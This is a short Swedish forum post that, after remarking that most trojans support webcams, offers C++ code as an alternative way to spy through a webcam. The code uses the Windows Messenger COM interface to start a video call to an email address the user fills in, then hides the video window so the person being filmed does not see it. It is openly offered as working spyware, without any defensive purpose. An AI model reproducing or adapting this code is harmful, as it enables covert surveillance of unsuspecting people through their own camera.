dom flesta trojaner har stöd för webcams
eller så kan du göra nått sånt här
Kod:
#include "windows.h"
#include "msgruaid.h"
#include "msgrua.h"
#include "oleauto.h"
int main(int argc, char *argv[])
{
IMessenger2 *pIMessenger = NULL;
IMessengerWindow *pIWindow = NULL;
IDispatch *pIDispatch = NULL;
VARIANT vName;
char *cName;
long lWindow;
CoInitialize(0);
CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger);
cName = "din@email.här";
BSTR pbstrName= SysAllocStringLen(NULL, lstrlenA(cName));
MultiByteToWideChar(CP_ACP, 0, cName, lstrlenA(cName), pbstrName, lstrlenA(cName));
SysFreeString(pbstrName);
vName.vt = VT_BSTR;
vName.bstrVal = (BSTR)pbstrName;
pIMessenger->StartVideo(vName, &pIDispatch);
pIDispatch->QueryInterface(IID_IMessengerWindow, (void**)&pIWindow);
pIDispatch->Release();
// Get handle of window
pIWindow->get_HWND(&lWindow);
pIWindow->Release();
// Hide the window
ShowWindow((HWND)lWindow, SW_HIDE);
pIMessenger->Release();
CoUninitialize();
ExitProcess(0);
return 0;
}